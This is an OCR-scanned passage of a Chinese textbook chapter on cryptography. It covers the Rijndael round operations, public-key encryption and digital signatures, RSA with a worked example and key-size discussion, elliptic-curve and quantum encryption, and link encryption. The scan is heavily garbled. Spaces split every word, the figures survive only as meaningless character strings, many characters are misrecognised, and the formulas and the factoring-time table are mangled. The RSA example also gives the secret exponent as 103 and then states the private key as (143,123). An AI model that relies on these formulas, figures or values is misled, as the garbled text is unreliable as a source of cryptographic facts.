(1) 字 节 替换 (ByteSub): 用 一 张 称 为 “S 盒 ” 的 固定 表 来 执行 字 节 到 字 节 的 蔡 换 。 

(2) 行 移 位 置换 (ShiftRow): 行 与 行 之 间 进 行 简 单 的 置换 。 

(3) 列 混淆 替换 (MixColumn): 列 中 每 一 个 字 节 替换 成 该 列 所 有 字 节 的 一 个 函数 。 

(4) 轮 密 钥 加 (AddRoundKey): 用 当前 的 数据 块 与 扩充 密 钥 的 一 部 分 进行 运算 。 

图 2-7 演示 了 一 次 加 密 的 计算 。 


a0.0[a0,1[a0.2|a0.3 b0,0lbo0,1|b0,2|b0,3 
i al,0lal,1lal,2la1,3 二 ea blolol lol2loL3 
多 2.0la2,1la2.2la23| | 通过 $ 框 逐个 元 素 = b2,0|b2,1|b2,2|b2,3 
a3,0|a3,1|a3,2|a3,3 b3,0|b3,1|b3,2|b3,3 
b0,0fbo, tlb0,2[b0,3 ee c0,0|co,1|co.2|co3 
箱 步 [auolblblalel3 | 四 cl,0lel,1le1,2le1,3 
b2,0|b2,1|b2,2|b2,3 Ti 2 c2,0|c2,1|c2,2|c2,3 
b3,0|b3, 1|b3,2|b3,3 3 1 12 c3,0|c3,1|c3,2|c3,3 
列 与 列 相 乘 则 b(0-3jj 
就 变 为 c(0-3jj 

c0,0|co0.1|co.?|co3 行 移 ~|c0,0lc0,1|c0,2e0,3 
3 上 ;| blel2len 行 移 =|cl.0lclllcl2 

步 行 
c2,0|e2,1|c2,2|c2,3 行 移 |c2,0|c2,1 
c3,0|c3, 1|c3,2|c3,3 行 移 一 |c3.0 
ec0.0|co,1|co,2|eo3 k0,0|k0, 1lk0,2|ko,3| d0.0|do,llao.2zlao.3 


第 4 步 


cl1,3|c1,0le1,1le1,2 国 k1,0|kL,1lk1,2lk1,3)| S dl,0la1,1la1,2la1,3 
c2,2|c2,3|e2,0|e2,1 k2,0|k2,1|k2,2|k2,3| d2.0|d2,1ld2.2|d2.3 
c3,1|c3,2|c3,3|c3,0 k3,0|k3,1lk3,2|k3,3| d3.0|d3,1|d3.2|d3.3 


图 2-7 Rijndael 多 次 加 密 原 理 图 
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2.5 公开 密 钥 加 密 算法 


公开 密 钥 密码 体制 是 现代 密码 学 最 重要 的 发 明 。 在 大 家 的 印象 中 , 密码 学 
(cryptography) 或 称 密码 术 主 题 应 该 是 保护 信息 传递 的 机 密 性 。 确 实 , 保 护 敏 感 的 通信 一 
直 是 密码 学 多 年 来 的 重点 。 但 是 ,这 仅仅 是 当今 密码 学 主题 的 一 个 方面 。 对 信息 发 送 人 的 
身份 验证 是 密码 学 主题 的 另 一 个 方面 。 公 开 密 钥 密码 体制 对 这 两 方面 的 问题 都 给 出 了 出 色 
的 答案 ,并 正在 继续 产生 许多 新 的 思想 和 方案 。 

与 “公开 密 钥 密码 体制 ?相对 应 的 是 “传统 密码 体制 ”, 又 称 " 对 称 密 钥 密码 体制 "。 其 中 
用 于 加 密 的 密 钥 与 用 于 解密 的 密 钥 完 全 一 样 , 在 对 称 密 钥 密 码 体制 中 ,加 密 运 算 与 解密 运算 
使 用 同样 的 密 钥 。 通 常 , 使 用 的 加 密 算法 比较 简便 高 效 , 密 钥 简 短 ,破译 极其 困难 。 但 是 ,在 
公开 的 计算 机 网 络 上 安全 地 传送 和 保管 密 钥 是 一 个 严峻 的 问题 。1976 年 , Diffie 和 
Hellman 为 解决 密 钥 管理 问题 ,在 “密码 学 的 新 方向 ”一 文中 ,提出 了 一 种 密 钥 交换 协议 ,人 允 
许 在 不 安全 的 媒体 上 通信 双方 交换 信息 ,安全 地 达成 一 致 的 密 钥 。 在 此 新 思想 的 基础 上 ,很 
快 出 现 了 “不 对 称 密 钥 密码 体制 ”, 即 “公开 密 钥 密码 体制 ”。 其 中 加 密 密 钥 不 同 于 解密 密 钥 ， 
加 密 密 钥 公之于众 , 谁 都 可 以 用 ;解密 密 钥 只 有 人 解密 人 自己 知道 。 它 们 分 别称 为 “公开 密 钥 ” 
(public-key) 和 “秘密 密 钥 ”(private-key)。 

1. 公开 密 钥 加 密 算法 的 特点 

DES 加 密 算 法 及 其 类 似 算法 属于 传统 密码 体制 ,要 求 加 密 和 解密 的 密 钥 是 相同 的 , 因 
此 密 钥 必须 保密 。 而 Diffie 和 Hellman 研究 出 的 公开 密 钥 密码 体制 新 算法 : 使 用 一 个 加 密 
算法 下 和 一 个 解密 算法 D, 它 们 彼此 完全 不 同 ,根据 已 选 定 的 下 和 D, 即 使 已 知 王 的 完整 描 
述 ,也 不 可 能 推导 出 D。 这 给 密码 技术 带 来 了 新 的 变革 。 

此 种 新 算法 需 有 以 下 3 个 条 件 : 

(1) D(E(P))=P, 

(2) 由 EE 来 推断 DD 极其 困难 。 

(3) 用 已 选 定 的 明文 进行 分 析 ,不 能 破译 下 。 

第 1 个 条 件 说 明 ,采用 解密 算法 D 用 于 密码 报 文 E(P) 上 ,可 以 得 到 原来 的 明文 P; 第 2 
个 条 件 , 是 显而易见 的 。 第 3 个 条 件 ,是 必需 的 。 在 满足 这 3 条 的 情况 下 ,加 密 算法 下 可 以 
公开 ,公开 密 钥 密码 体制 如 图 2-8 所 示 。 


ER 1 下 1 
| 发 送 者 | 1 | 密 钥 对 接收 者 1 
| 1 加 密 | | 产生 源 | 
ET | ESK 
| 1 1 1 
| 明文? 一 一 | 加 密 方 法 | 七 上 | 解 本 方法 | 一 明文 | 
Er | 
| 加 密 密 钥 | , 窜 文 ，| 。 解密 密 钥 
ee MB 


图 2-8 公开 密 钥 密码 体制 
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现在 考虑 ,A 和 B 二 者 以 前 从 未 有 过 联系 ,而 今 要 想 在 A 和 B 之 间 建 立 保密 信道 。 
A 所 确定 的 加 密 密 钥 为 Ea,B 的 加 密 密 钥 为 Es ,并 将 Es 和 Es 放 在 网 络 的 公用 可 读 文件 
内 。 现 在 A 要 发 报 文 P 给 B, 首 先 算得 C 二 Es(P) ,并 把 它 发 送 给 B。 然 后 B 使 用 其 解密 密 
钥 Ds 进行 解密 ,计算 得 到 Ds (Es(P)) 二 P, 而 没有 任何 其 他 人 能 读 懂 密 文 Es (P)。 

2. 使 用 公开 密 钥 加 密 算法 进行 数字 签名 

书信 或 文件 是 根据 亲笔 签名 或 印章 来 证 明 其 真实 性 。 但 在 计算 机 网 络 中 传送 的 文件 又 
如 何 盖 章 呢 ? 这 就 是 数字 签名 所 要 解决 的 问题 。 

数字 签名 必须 保证 以 下 3 点 : 

(1) 接收 者 能 够 核实 发 送 者 对 报 文 的 签名 。 

(2) 发 送 者 事后 不 能 抵赖 对 报 文 的 签名 。 

(3) 接收 者 不 能 伪造 对 报 文 的 签名 。 

现在 已 有 多 种 实现 各 种 数字 签名 的 方法 ,但 采用 公开 密 钥 算法 要 比 采 用 常规 密 钥 算法 
更 容易 实现 。 下 面 就 来 介绍 这 种 数字 签名 。 

发 送 者 A 用 其 秘密 解密 密 钥 SKA 对 报 文 P 进行 运算 ,将 结果 DskA(P) 传 送 给 接收 者 B 
(读者 可 能 要 问 : 报 文 P 还 没有 加 密 , 怎 么 能 够 进行 解密 呢 ? 其 实 * 解 密 仅 仅 是 一 个 数学 运 
算 。 发 送 者 此 时 的 运算 并 非 想 将 报 文 X 加 密 而 是 为 了 进行 数字 签名 )。B 用 已 知 的 A 的 公开 
加 密 密 钥 得 出 Eeka (Dsra(P)) 三 P。 因 为 除 A 外 没有 别人 能 具有 A 的 解密 密 钥 SKA, 所 以 除 
A 外 没有 别人 能 产生 密 文 Dsxa(P) 。 这 样 ,B 就 相信 报 文 P 是 A 签名 发 送 的 ,如 图 2-9 所 示 。 


[| | 

| 发 送 者 A | | 接收 者 B 1 

1 1 1 | 
Dsxa(P 

mel Lo CE ne 

1 1 

| | 

| sKA |! | PKA | 

1 用 秘密 密 钥 1 | 用 公开 密 钥 1 

L_ 进行 等 名 | 1 _ 核实 签名 1 


图 2-9 数字 签名 的 实现 


车 A 要 抵赖 曾 发 送 报 文 给 B,B 可 将 P 及 Dsks(P) 出 示 给 第 三 者 。 第 三 者 很 容易 用 
PKA 去 证 实 A 确实 发 送 P 给 B。 反 之 , 若 BB 将 P 伪 造成 P', 则 B 不 能 在 第 三 者 前 出 示 DskA 
(P')。 这 样 就 证 明了 B 伪造 了 报 文 。 可 见 实现 数字 签名 也 同时 实现 了 对 报 文 来 源 的 鉴别 。 

但 上 述 过 程 仅 对 报 文 进行 了 签名 。 对 报 文 P 本 身 却 未 保密 。 因 为 截 到 密 文 Dsxa(P) 并 
知道 发 送 者 身份 的 任何 人 ,通过 查阅 手册 即 可 获得 发 送 者 的 公开 密 钥 PKA ,因而 能 理解 电 
文 内 容 。 若 采用 图 2-10 所 示 的 方法 , 则 可 同时 实现 秘密 通信 和 数字 签名 。 图 中 SKA 和 
SKB 分 别 为 A 和 B 的 秘密 密 钥 ,而 PKA 和 PKB 分 别 为 A 和 了 B 的 公开 密 钥 。 


| 接收 者 B 


| 
1 EE 
明文 P_ | DskA(P) 1C=Epke(DskA(p) | Dska(P) | 
1 
| 
1 
| 
1 


本 本 


明文 


SKA | 


1 
1 
1 
PKB | SKB PKA 
秘密 密 钥 公开 密 钥 ! | 


这 J 用 秘密 密 钥 。 ”用 公开 密 负 | 
进行 签名 。 ”进行 加 密 | 上 进行 解密 。 核实 签名 | 


图 2-10 具有 保密 性 的 数字 签名 
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2.6 RSA 加 密 方 法 * 


2.6.1 RSA 公开 密 钥 密码 系统 


RSA 公开 密 钥 密码 系统 是 由 R. Rivest, A. Shamir 和 L. Adleman 于 1977 年 提出 的 第 
一 个 公开 密 钥 密码 体制 ,也 是 迄今 为 止 理论 上 最 为 成 熟 完 善 的 一 种 公开 密 钥 密码 体制 。 它 
的 安全 性 是 基于 大 整数 的 分 解 ( 已 知 大 整数 的 分 解 是 NP(Non-deterministic Polynomial, 多 
项 式 复杂 程度 的 非 确定 性 ?问题 ) ,而 体制 的 构造 是 基于 Euler 定理 。RSA 的 取 名 就 是 来 自 
这 3 位 发 明 者 的 姓 的 第 一 个 字母 。 后 来 ,他 们 在 1982 年 创办 了 以 RSA 命名 的 公司 RSA 
Data Security Inc. 和 RSA 实验 室 ,该 公司 和 实验 室 在 公开 密 钥 密 码 系统 的 研究 和 商业 应 用 
推广 方面 具有 举足轻重 的 地 位 。 

RAS 体制 是 根据 寻求 两 个 大 素数 比较 简单 ,而 将 它们 的 乘积 分 解 开 则 极其 困难 这 一 原 
理 来 设计 的 。 在 这 一 体制 中 ,每 个 用 户 有 加 密 密 钥 PK=(N,e) 和 解密 密 钥 SK 王 CN,d) ,用 
户 把 加 密 密 钥 PK 公开 而 对 解密 密 钥 中 的 4 保密 。 其 中 N 为 两 个 大 素数 p 和 gq 的 乘积 (p 
和 1 一 般 为 100 位 以 上 的 十 进 制 素数 ) ,虽然 和 4d 满足 一 定 的 关系 ,但 敌手 不 能 根据 已 知 
的 N 和 e 求 出 4d。 

若 用 整数 X 表示 明文 ,用 整数 Y 表示 密 文 ,X,Y 均 小 于 NN, 则 加 密 、 解 密 算法 如 下 : 

加 密 :Y = Xemod N 
解密 : X = Y* mod N 

即 加 密 密 钥 PK=(N,e) ,解密 密 钥 SK=(N,d)。 问 题 在 于 PK 和 SK 中 的 每 个 参数 如 
何 选择 ? 

用 户 秘密 地 选择 两 个 大 素数 p 和 g ,计算 出 N=pgq, 将 NN 公开 。 用 户 在 计算 出 N 的 欧 
拉 函 数 B(N) 二 (p 一 1)(g 一 1) ,定义 B(N) 为 小 于 等 于 N 且 与 N 互 素 的 数 的 个 数 。 然 后 ， 
用 户 从 [0,@B(N) 一 1] 中 任 选 一 个 与 B(N) 互 素 的 数 e 作为 公开 的 加 密 指数 ,并 计算 出 满足 
下 式 的 a 


ed=1 mod @CN) 

作为 解密 指数 ,从 而 产生 了 所 需要 的 公开 密 钥 PK 和 秘密 密 钥 SK。 

现在 ,用 一 个 简单 的 例子 来 说 明 RSA 公开 密 钥 密码 系统 的 工作 原理 。 取 两 个 质数 一 
11,g 二 13,p 和 9g 的 乘积 为 n= 二 pXg= 二 143, 算 出 另 一 个 数 Z==(p 一 1) X(q 一 1) 王 120; 再 选取 
一 个 与 x 二 120 互 质 的 数 ,例如 e 王 7( 称 为 “公开 指数 ”) ,对 于 这 个 e 值 ,可 以 算出 另 一 个 值 
d 二 103( 称 为 “秘密 指数 ”) 满 足 eXd==1 mod zx; 其 实 7X103==721 除 以 120 确实 余 1。 
(n,e) 和 (n,d) 这 两 组 数 分 别 为 “公开 密 钥 "和 “秘密 密 钥 ”。 

设想 S 需 要 发 送 机 密 信 息 (明文 , 即 未 加 密 的 报 文 )s 二 85 给 Y,S 已 经 从 公开 媒体 中 得 
到 了 YY 的 公开 密 钥 (n,e) 二 (143,7) ,于 是 S 算 出 加 密 值 : 

< 一 mod 7 一 857 mod 143 一 123 

将 c 发 送 给 Y。Y 在 收 到 “ 密 文 ”( 即 经 加 密 的 报 文 )c 二 123 后 ,利用 只 有 Y 自己 知道 的 
秘密 密 钥 (x,d) 二 (143,123) 计 算 123* mod 143, 得 到 的 值 就 是 明文 ( 值 )85 ,实现 了 解密 。 
所 以 ,Y 可 以 得 到 S 发 给 他 的 真正 信息 ;二 85。 
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上 面 例子 中 的 "一 143, 只 是 示意 用 的 ,用 来 说 明 RSA 公开 密 钥 密码 系统 的 计算 过 程 ， 
从 143 找 出 它 的 质数 因子 11 和 13 是 轻而易举 的 。 对 于 巨大 的 质数 p 和 9g, 计算 乘积 "一 
ZXg 非常 简便 ,而 逆 运 算 却 难 而 又 难 ,这 是 一 种 “ 单 向 性 ”运算 。 相 应 的 函数 称 为 “ 单 向 函 
数 ”。 任 何 单 向 函数 都 可 以 作为 某 一 种 公开 密 钥 密码 系统 的 基础 ,而 单 向 函数 的 安全 性 也 就 
是 这 种 公开 密 钥 密码 系统 的 安全 性 。 

公开 密 钥 密码 系统 的 一 大 优点 是 不 仅 可 以 用 于 信息 的 保密 通信 ,而 且 可 以 用 于 信息 发 
送 者 的 身份 验证 (authentication) 或 数字 签名 (digital signature)。 下 面 仍 用 例子 来 作 示意 
说 明 。 

Y 要 向 S 发 送信 息 m( 表 示 它 身份 的 ,可 以 是 他 的 身份 证 号 码 ,或 其 名 字 的 汉字 的 某 一 
种 编码 值 ) ,必须 让 S 确信 该 信息 是 真实 的 ,是 由 Y 本 人 所 发 的 。 为 此 ,Y 使 用 自己 的 秘密 
密 钥 (n,d) 计 算 : 

s 二 m” mod n 建立 了 一 个 “数字 签名 ”, 通 过 公开 的 通信 途径 发 给 S。 

S 则 使 用 YY 的 公开 密 钥 (n,e) 对 收 到 的 ; 值 进 行 计算 : 

s* mod n= (m’)* mod n=m 

这 样 ,S 经 过 验证 ,知道 信息 * 确实 代表 了 Y 的 身份 ,只 有 他 本 人 才能 发 出 这 一 信息 , 因 
为 只 有 他 自己 知道 秘密 密 钥 (x,d)。 其 他 任何 人 即使 知道 Y 的 公开 密 钥 (n,e) 也 无 法 猜 出 
或 算出 他 的 秘密 密 钥 来 冒充 他 的 “签名 ”。 


2.6.2 RSA 的 安全 性 


RSA 公开 密 钥 密码 体制 的 安全 性 取决 于 从 公开 密 钥 (n,e) 计 算出 秘密 密 钥 (x,d) 的 难 
易 程度 ,而 后 者 则 等 同 于 从 找 出 它 的 两 个 质 因 数 p 和 gq。 因 此 ,寻求 有 效 的 因数 分 解 的 算 
法 就 是 寻求 一 把 锐利 的 “ 予 ”, 来 击 穿 RSA 公开 密 钥 密码 系统 这 个 “ 盾 ”。 数 学 家 和 密码 学 家 
们 一 直 在 努力 寻求 更 锐利 的 “ 予 * 和 更 坚固 的 “ 盾 ”, 而 且 不 仅 限于 RSA 一 种 方案 。 在 此 ,只 
考虑 RSA 的 情况 。 

最 简单 的 考虑 是 增加 “ 盾 ” 的 厚度 , 即 n 取 更 大 的 值 。RSA 实验 室 认 为 ,512b( 比 特 ) 的 7 
已 不 够 安全 ,在 1997 年 或 1998 年 后 应 停止 使 用 。 他 们 建议 : 个 人 应 用 需要 用 768b 的 nn, 公 
司 企业 要 用 1024b 的 ,极其 重要 的 场合 应 该 用 2048b 的 n。 假 设 一 台 计 算 机 一 次 运算 的 时 
间 需 要 1ps( 微 秒 ) , 表 2-10 列 出 了 分 解 n 所 需要 的 参考 时 间 。 


表 2-10 ”分解 n 所 需 参 考 时 间 


数 的 十 进 制 位 数 运算 次 数 运算 时 间 
50 A OM 3.9 小 时 
75 9.0X10® 104 天 
100 2 90 74 年 
200 中 这 区 0 和 3.8X10: 年 
300 LO 4. 9 10 征 
500 L310 4.2※10” 年 
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计算 机 硬件 的 迅速 发 展 是 不 可 阻挡 的 ,这 一 因素 对 RSA 的 安全 性 是 很 有 利 的 ,因为 硬 
件 的 发 展 给 * 盾 ? 带 来 的 好 处 要 多 于 * 矛 "”。 硬 件 计算 能 力 的 增强 可 以 给 双 加 大 几 十 个 比特 ， 
但 不 致 放 慢 加 密 解 密 的 计算 。 但 同样 水 平 的 硬件 计算 能 力 的 增强 给 因数 分 解 计 算 的 帮助 却 
不 那么 大 。 

计算 机 软件 和 算法 的 发 展 对 RSA 的 安全 性 的 影响 情况 比较 复杂 。 至 今 , 不 管用 怎样 的 
硬件 和 软件 ,大 数 的 因数 分 解 仍然 是 极端 困难 的 。 

1977 年 (科学 的 美国 人 ) 杂 志 征 求 分 解 一 个 129 位 十 进 数 (426b) ,直至 1994 年 3 月 ,由 
Atkins 等 人 在 Internet 上 动用 了 1600 台 计 算 机 ,前 后 花 了 8 个 月 的 时 间 , 才 找 出 了 管 案 。 
然而 ,这 种 “困难 性 ”在 理论 上 至 今 未 能 严格 证 明 , 但 又 无 法 否定 。 对 于 许多 密码 研究 分 析 人 
员 和 数学 家 而 言 ,因数 分 解 问题 的 “困难 性 ” 仍 是 一 种 “信念 ”, 一 种 有 一 定 根据 的 合理 的 “ 信 

总 之 , 随 着 硬件 资源 的 迅速 发 展 和 因数 分 解 算法 的 不 断 改 进 ,为 保证 RSA 公开 密 钥 密 
码 体制 的 安全 性 ,最 实际 的 做 法 是 不 断 增加 模 n 的 位 数 。 


2.6.3 RSA 的 实用 考虑 


不 对 称 密 钥 密 码 体制 ( 即 公开 密 钥 密码 体制 ) 与 对 称 密 钥 密码 体制 相 比 较 , 确 实 有 其 不 
可 取代 的 优点 ,但 它 的 运算 量 远大 于 后 者 ,超过 几 百 信 、 几 千 信 甚至 上 万 信 。 

在 网 络 上 全 都 用 公开 密 钥 密 码 体 制 来 传送 机 密 信息 是 没有 必要 的 ,也 是 不 现实 的 。 在 
计算 机 系统 中 使 用 对 称 密 钥 密 码 体 制 已 有 多 年 , 既 有 比较 简便 可 靠 .、 久 经 考验 的 方法 ,如 以 
DES( 数 据 加 密 标准 ) 为 代表 的 数据 分 组 加 密 算法 (及 其 扩充 DES X 加 密 算法 和 Triple DES 
加 密 算 法 ), 也 有 一 些 新 的 方法 发 表 , 如 由 RSA 公司 的 Rivest 研制 的 专 有 算法 RC2, RC4， 
RC5 等 ,其 中 RC2 和 RC5 是 数据 分 组 加 密 算法 ,RC4 是 数据 流 加 密 算法 。 

传送 机 密 信 息 的 网 络 用 户 ,如果 使 用 某 个 对 称 密 钥 密码 体制 (例如 DES), 同 时 又 使 用 
RSA 不 对 称 密 钥 密 码 体制 来 传送 DES 的 密 钥 , 就 可 以 综合 发 挥 两 种 密码 体制 的 优点 ,即使 
用 DES 高 速 简便 性 和 RSA 密 钥 管理 的 方便 和 安全 性 。 


2.7 其 他 公开 密 钥 加 密 算法 * 


2.7.1 椭圆 加 密 算法 


椭圆 加 密 算法 (ECC) 是 一 种 公 钥 加 密 体 制 ,最 初 由 Koblitz 和 Miller 两 人 于 1985 年 提 
出 ,其 数学 基础 是 利用 椭圆 曲线 上 的 有 理 点 构成 Abel 加 法 群 上 椭圆 离散 对 数 的 计算 困 

与 经 典 的 RSA,DSA 等 公 钥 密码 体制 相 比 ,椭圆 曲线 密码 体制 有 以 下 优点 。 

(1) 安全 性 高 。 有 研究 表示 160 位 的 椭圆 密 钥 与 1024 位 的 RSA 密 钥 安全 性 相同 。 

(2) 处 理 速 度 快 。 在 私 钥 的 加 密 解 密 速度 上 ,ECC 算法 比 RSA,DSA 速度 更 快 。 

(3) 存储 空间 占用 小 。 

(4) 带宽 要 求 低 。 

椭圆 曲线 密码 体制 来 源 于 对 椭圆 曲线 的 研究 ,所 谓 椭 圆 曲 线 指 的 是 由 
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斯 特 拉 


xf 
~ 
pa 


(Weierstrass) 方 程 : 
如 十 azy 十 aay 王 妇 十 az 十 ar 十 as (1-1) 

所 确定 的 平面 曲线 。 其 中 系数 ai (i 二 1,2,…,6) 定 义 在 某 个 域 上 ,可 以 是 有 理 数 域 \. 实 数 域 . 复 
数 域 ,还 可 以 是 有 限 域 GF(pr) ,椭圆 曲线 密码 体制 中 用 到 的 椭圆 曲线 都 是 定义 在 有 限 域 上 的 。 

椭圆 曲线 上 所 有 的 点 外 加 一 个 叫做 无 穷 远 点 的 特殊 点 构成 的 集合 连同 一 个 定义 的 加 法 
运算 构成 一 个 Abel 群 。 对 于 Q=AP( 其 中 Q,P 为 Ep(a,b) 上 的 点 ,为 小 于 n(n 是 点 PP 的 
阶 ) 的 整数 ) ,给 定 A 和 了 ,根据 加 法 法 则 ,计算 Q 很 容易 ;但 给 定 Q 和 P, 求 & 就 相对 困难 了 。 
这 就 是 椭圆 曲线 加 密 算法 采用 的 难题 。 把 点 了 称 为 基点 (base point),k(k 二 n,n 为 基点 
P 的 阶 ) 称 为 私有 密 钥 (private key) ,Q 称 为 公开 密 钥 (public key)。 

第 六 届 国 际 密码 学 会 议 对 应 用 于 公 钥 密码 系统 的 加 密 算法 推荐 了 两 种 : 基于 大 整数 因 
子 分 解 问题 CIFP) 的 RSA 算法 和 基于 椭圆 曲线 上 离散 对 数 计算 问题 (ECDLP) 的 ECC 算 
法 。RSA 算法 的 特点 之 一 是 数学 原理 简单 在 工程 应 用 中 比较 易于 实现 ,但 它 的 单位 安全 
强度 相对 较 低 。 目 前 用 国际 上 公认 的 对 于 RSA 算法 最 有 效 的 攻击 方法 一 一 一 般 数 域 得 
(NFS) 方 法 去 破译 和 攻击 RSA 算法 , 它 的 破译 或 求解 难度 是 亚 指数 级 的 。ECC 算法 的 数 
学 理论 非常 深奥 和 复杂 ,在 工程 应 用 中 比较 难以 实现 ,但 它 的 单位 安全 强度 相对 较 高 。 用 国 
际 上 公认 的 对 于 ECC 算法 最 有 效 的 攻击 方法 一 一 Pollard rho 方法 去 破译 和 攻击 ECC 算 
法 , 它 的 破译 或 求解 难度 基本 上 是 指数 级 的 。 正 是 由 于 RSA 算法 和 ECC 算法 这 一 明显 不 
同 ,使 得 ECC 算法 的 单位 安全 强度 高 于 RSA 算法 ,也 就 是 说 ,要 达到 同样 的 安全 强度 ， 
ECC 算法 所 需 的 密 钥 长 度 远 比 RSA 算法 低 。 这 就 有 效 地 解决 了 提高 安全 强度 必须 增加 密 
钥 长 度 所 带 来 的 工程 实现 难度 的 问题 。 


2.7.2 量子 加 密 技术 


量子 加 密 技 术 是 密码 学 与 量子 力学 结合 的 产物 ,是 一 个 新 的 不 断 发 展 的 技术 ,很 多 领域 
的 专家 ,包括 物理 学 家 、 化 学 家 ,还 有 信息 处 理 、 计 算 机 科学 的 专家 都 参与 到 研究 中 来 。 

量子 加 密 方法 是 用 量子 状态 来 作为 信息 加 密 和 解密 的 密 钥 。 其 原理 是 借助 光量 子 一 次 
传输 并 很 难 复 原 的 特性 ,加 密 双 方 进 行 密 钥 协 商 ,一 旦 光量 子 被 黑客 截取 ,接收 方 就 能 知道 ， 
并 且 截 取 的 光量 子 很 难 复 原 , 因 此 很 难 被 复制 ,杜绝 了 信息 被 窃取 的 可 能 性 。 该 技术 借助 物 
理学 定律 来 保证 安全 。 因 此 ,被 认为 是 未 来 商用 密码 技术 的 发 展 方向 。 

由 于 现 有 的 量子 加 密 技术 还 不 能 用 在 互联 网 上 ,只 能 在 专用 的 光缆 上 工作 ,并 且 两 点 之 
间 的 距离 不 能 超过 大 约 90 千 米 ,因此 ,量子 加 密 技术 仍然 存在 很 大 局 限 性 ,阻碍 它 成 为 一 种 
实用 技术 。 不 过 ,对 该 技术 的 科学 研究 正在 不 断 深入 。 

在 国际 上 ,采用 量子 加 密 技术 的 产品 也 在 逐渐 出 现 ,2005 年 ,ID Quantique SA 公司 就 发 布 
了 一 款 交 钥匙 型 的 量子 加 密 系统 , 它 可 以 使 两 个 快速 以 太 网 (IEEE 802. 3u) 之 间 的 防 黑 安全 通 
道 长 度 达 到 100 千 米 。 而 在 2008 年 的 瑞士 大 选中 ,瑞士 政府 就 采用 了 量子 加 密 技 术 。 


2.8 计算 机 网 络 加 密 技术 


如 前 所 述 ,数据 加 密 是 通过 加 密 机 制 把 各 种 原始 的 数字 信号 (明文 ) , 按 某 种 特定 的 加 密 
算法 变换 成 与 明文 完全 不 同 的 数字 信息 , 即 密 文 的 过 程 。 
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前 面 介 绍 的 几 种 加 密 方 法 ,在 计算 机 网 络 中 加 密 可 以 是 端 - 端 方式 或 数据 链 路 层 加 密 方 
式 。 端 - 端 加 密 是 由 软件 或 专门 硬件 在 表示 层 或 应 用 层 实现 变换 。 这 种 方法 给 用 户 提供 了 
一 定 的 灵活 性 ,但 增加 了 主机 负担 , 且 不 太 适 合 于 一 般 终端 。 采 用 数据 链 路 层 加 密 , 数 据 和 
报头 (本 层 报 头 除 外 ) 都 被 加 密 , 采 用 硬件 加 密 方式 时 不 致 影响 现 有 的 软件 。 例 如 ,在 信息 刚 
离开 主机 之 后 ,把 硬 加 密 装 置 接 到 主机 和 前 置 机 之 间 的 线路 中 去 ,在 对 方 的 前 置 机 和 主机 线 
路 之 间接 入 解密 装置 ,从 而 完成 加 密 和 解密 的 过 程 。 在 计算 机 网 络 系统 中 ,数据 加 密 方式 有 
链 路 加 密 、 节 点 加 密 和 端 - 端 加 密 3 种 方式 。 


2.8.1 链 路 加 密 


链 路 加 密 是 目前 最 常用 的 加 密 方 法 ,通常 用 硬件 在 网 络 层 以 下 (1、2 层 ) 的 物理 层 和 数 
据 链 路 层 实现 。 它 用 于 保护 通信 节点 间 传 输 的 数据 。 这 种 加 密 方式 比较 简单 ,实现 起 来 也 
比较 容易 ,只 要 把 一 对 密码 设备 安装 在 两 个 节点 间 的 线路 上 , 即 把 密码 设备 安装 在 节点 和 调 
制 解 调 器 之 间 ,使 用 相同 的 密 钥 即 可 。 用 户 没 有 选择 的 余地 ,也 不 需要 了 解 加 密 技术 的 细 
节 。 一 且 在 一 条 线路 上 采用 链 路 加 密 ,往往 需要 在 全 网 内 都 采用 链 路 加 密 。 图 2-11 表示 了 
这 种 加 密 方式 的 原理 。 这 种 方式 在 邻近 的 两 个 节点 之 间 的 链 路 上 ,传送 的 数据 是 加 密 的 ,而 
在 节点 中 的 信息 是 以 明文 形式 出 现 的 。 链 路 加 密 时 , 报 文 和 报头 都 应 加 密 。 


站 密 钥 A 有 密 钥 B Se 
八 和 上 ~ 加密 上 一 | 解 灾 上 一 交换 年 D 上 一 [加 密 | 一 | 角 窜 ] 
窒 日 窑 : 
数据 (明文 )- > 同 记 2 二 本 -| 数 据 (明文 ) 


图 2-11 链 路 加 密 


链 路 加 密 方式 对 用 户 是 透明 的 , 即 加 密 操 作 由 网 络 自动 进行 ,用 户 不 能 干预 加 密 / 解 密 
过 程 。 这 种 加 密 方式 可 以 在 物理 层 和 数据 链 路 层 实施 ,主要 由 硬件 完成 , 它 用 于 对 信息 或 链 
路 中 可 能 被 截获 的 那 一 部 分 信息 进行 保护 。 这 些 链 路 主要 包括 专用 线路 .电话 线 . 电 缆 、 光 
缆 、 微 波 和 卫星 通道 等 。 

链 路 加 密 按 被 传送 的 数字 字符 或 位 的 同步 方法 不 同 ,分 为 异步 通信 加 密 和 同步 通信 加 
密 两 种 ;而 同步 通信 根据 字 节 同步 和 位 同步 ,又 可 分 为 两 种 。 

1. 异步 通信 加 密 

异步 通信 时 ,发 送 字 符 中 的 各 位 都 是 按 发 送 方 数据 加 密 设 备 (DEE) 的 时 钟 所 确定 的 不 
同时 间 间 隔 来 发 送 的 。 接 收 方 的 数据 终端 设备 (DTE) 产 生 一 个 频率 与 发 方 时 钟 脉冲 相同 ， 
且 具 有 一 定 相位 关系 的 同步 脉冲 ,以 此 同步 脉冲 为 时 间 基 准 来 接收 发 送 过 来 的 字符 ,从 而 实 
现 收发 双方 的 通信 同步 。 

异步 通信 的 信息 字符 由 1 位 起 始 位 开始 ,其 后 是 5 一 8 位 数据 位 ,最 后 是 1 位 或 2 位 终 
止 位 ,起 始 位 和 终止 位 对 信息 字符 定 界 。 对 异步 通信 的 加 密 , 一 般 起 始 位 不 加 密 , 数 据 位 和 
奇偶 校 验 位 加 密 ,终止 位 不 加 密 。 目 前 ,数据 位 多 用 8 位 ,以 方便 计算 机 操作 。 如 果 数 据 编 
码 采 用 标准 ASCII 码 , 最 高 位 固定 为 0, 低 7 位 为 数据 , 则 可 对 8 位 全 加 密 ,也 可 以 只 加 密 低 
7 位 数据 。 如 果 数 据 编码 采用 8 位 的 EBCDIC 码 或 图 像 与 汉字 编码 , 因 8 位 全 表示 数据 ,所 
以 应 对 8 位 全 加 密 。 
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2. 字 节 同步 通信 加 密 

字 节 同步 通信 不 使 用 起 始 位 和 终止 位 实现 同步 ,而 是 首先 利用 专用 同步 字符 SYN 建 
立 最 初 的 同步 。 传 输 开 始 后 ,接收 方 从 传送 过 来 的 信息 序列 中 提取 同步 信息 。 

为 了 区 别 不 同性 质 的 报 文 (如 信息 报 文 和 监控 报 文 ) 以 及 标志 报 文 的 开始 、 结 束 等 格式 ， 
